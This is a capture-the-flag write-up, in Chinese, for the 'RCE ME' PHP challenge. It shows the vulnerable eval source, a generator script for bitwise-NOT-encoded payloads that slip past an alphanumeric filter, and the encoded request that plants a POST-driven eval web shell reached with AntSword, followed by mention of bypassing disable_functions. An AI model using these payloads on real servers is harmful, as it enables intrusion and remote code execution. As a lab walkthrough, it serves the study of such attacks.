[极客大挑战 2019]RCE ME
// 源码
<?php
error_reporting(0);
if(isset($_GET['code'])){
$code=$_GET['code'];
if(strlen($code)>40){
die("This is too Long.");
}
if(preg_match("/[A-Za-z0-9]+/",$code)){
die("NO.");
}
@eval($code);
}
else{
highlight_file(__FILE__);
}
限制长度40,过滤字母数字。
通过取反并进行字符串拼接绕过
phpinfo() #php5、php7可执行
(phpinfo)() #php7可执行
以下为脚本
<?php
//在命令行中运行
fwrite(STDOUT,'[+]your function: ');
$system=str_replace(array("\r\n", "\r", "\n"), "", fgets(STDIN));
fwrite(STDOUT,'[+]your command: ');
$command=str_replace(array("\r\n", "\r", "\n"), "", fgets(STDIN));
echo '[*] (~'.urlencode(~$system).')(~'.urlencode(~$command).');';
使用 system('ls'); 和 passthru('ls'); 发现无回显,那就去phpinfo看看
(~%8F%97%8F%96%91%99%90)();
发现过滤了一堆命令执行函数
蚁剑使用POST传参,所以需要对原本的code参数进行改造利用
改造时需要使用assert(eval($_POST["a"]))
的方式,原因详见:
浅谈eval和assert
在当前题目的PHP 7.0.33版本中,assert仍可被当作函数,故可进行字符串拼接,但版本再高一些之后(7.1之后) 其作为语言构造器出现,即无法作为可变函数
PS C:\Users\NwN\Desktop> php .\1.php
[+]your function: assert
[+]your command: eval($_POST['a']);
[*] (~%9E%8C%8C%9A%8D%8B)(~%9A%89%9E%93%D7%DB%A0%AF%B0%AC%AB%A4%D8%9E%D8%A2%D6%C4);
?code=(~%9E%8C%8C%9A%8D%8B)(~%9A%89%9E%93%D7%DB%A0%AF%B0%AC%AB%A4%D8%9E%D8%A2%D6%C4);
a=phpinfo();
// 成功
使用蚁剑连接
连接后显然无法执行命令(那些函数都被禁用了),需要 绕过disable_functions

没有对 /flag 的读权限,但有个readflag并且有执行权限,故执行它得到flag

